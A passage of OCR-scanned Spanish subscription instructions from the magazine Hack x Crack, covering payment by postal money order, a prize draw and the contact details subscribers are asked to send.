indicado; rellenando el formulario de nuestra WEB
(www.hackxcrack.com) o enviandonos una carta a la siguiente direccion:
CALLE HIGINIO ANGLES N°2, 4°-12

CP 43001 TARRAGONA

ESPANA

* Cualquier consulta referente a las subscripciones puedes enviarla
por mail a preferente@hackxcrack.com

45 EUROS (10% DE DESCUENTO)
+

SORTEO DE UNA CONSOLA XBOX
+

SORTEO 2 JUEGOS PC (A ELEGIR)

Giro Postal

Envianos un GIRO POSTAL por valor de 45 EUROS a:

CALLE HIGINIO ANGLES N°2, 4°-12

CP 43001 TARRAGONA

ESPANA

IMPORTANTE: En el TEXTO DEL GIRO escribe un mail de contacto
0 un numero de Teléfono.

Y enviarnos un mail a preferente@hackxcrack.com indicando:
- Nombre

- Apellidos

- Direcciéon Completa

- Poblacién

- Provincia

- Cogigo Postal

- Mail de Contacto y/o Teléfono Contacto

Es imprescindible que nos facilites un mail o teléfono de contacto,
puesto que 24 horas después de que recibamos tu peticion de
subscripcion te daremos un numero de Cliente Preferente. Este
numero sera utilizado para los sorteos.

- Tipo de Subscripcion: GIRO POSTAL

- Numero de Revista:

Este sera el nimero a partir del cual quieres subscribirte. Si deseas
(por ejemplo) subscribirte a partir del numero 5 (incluido), debes poner
un 5 y te enviaremos desde el 5 hasta el 15 (ambos incluidos)

APRECIACIONES:

* Junto con el primer nimero recibiras una carta donde se te indicara
tu nimero de Cliente Preferente y justificante/factura de la subscripcion.
* Puedes hacernos llegar estos datos POR MAIL,tal como te hemos
indicado; rellenando el formulario de nuestra WEB
(www.hackxcrack.com) o enviandonos una carta a la siguiente direccion:
CALLE HIGINIO ANGLES N°2, 4°-12

CP 43001 TARRAGONA

ESPANA

* Cualquier consulta referente a las subscripciones puedes enviarla
por mail a preferente@hackxcrack.com
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